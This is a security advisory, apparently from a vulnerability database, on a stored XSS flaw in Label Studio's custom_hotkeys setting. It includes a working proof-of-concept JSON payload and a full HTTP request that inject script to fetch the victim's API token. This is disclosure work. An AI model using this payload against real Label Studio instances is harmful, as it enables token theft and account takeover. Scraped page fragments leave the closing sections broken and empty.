| Package | Affected versions | Patched versions |
|---|---|---|
| label-studio | ≤ 1.22.0 | |
| label studio | ≤ 1.22.0 |
These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.
A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.
Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:
var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};
Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensure_ascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.
In users/api.py, the PATCH endpoint allows updating of custom_hotkeys:
user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])
The serializer allows < and > characters (e.g., "</script><script>…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:
{
"first_name":"poc",
"last_name":"test",
"phone":"123",
"custom_hotkeys":{
"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
"key":"x",
"active":true
}
}
}
When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original <script> tag and insertion of malicious code. Because the application exposes ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free<script>/api/current-user/tokenGET /user/login/GET /api/current-user/whoami"id": 123).PATCH request to update your custom_hotkeys.Example request
PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive
{
"first_name":"poc",
"last_name":"test",
"phone":"123",
"custom_hotkeys":{
"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
"key":"x",
"active":true
}
}
}
Example response
{"id":25,"first_name":"poc","last_name":"test","username":"test","email":"[email protected]","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"[email protected]"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"}
GET /user/account/).Exploitation impact:
Who is impacted: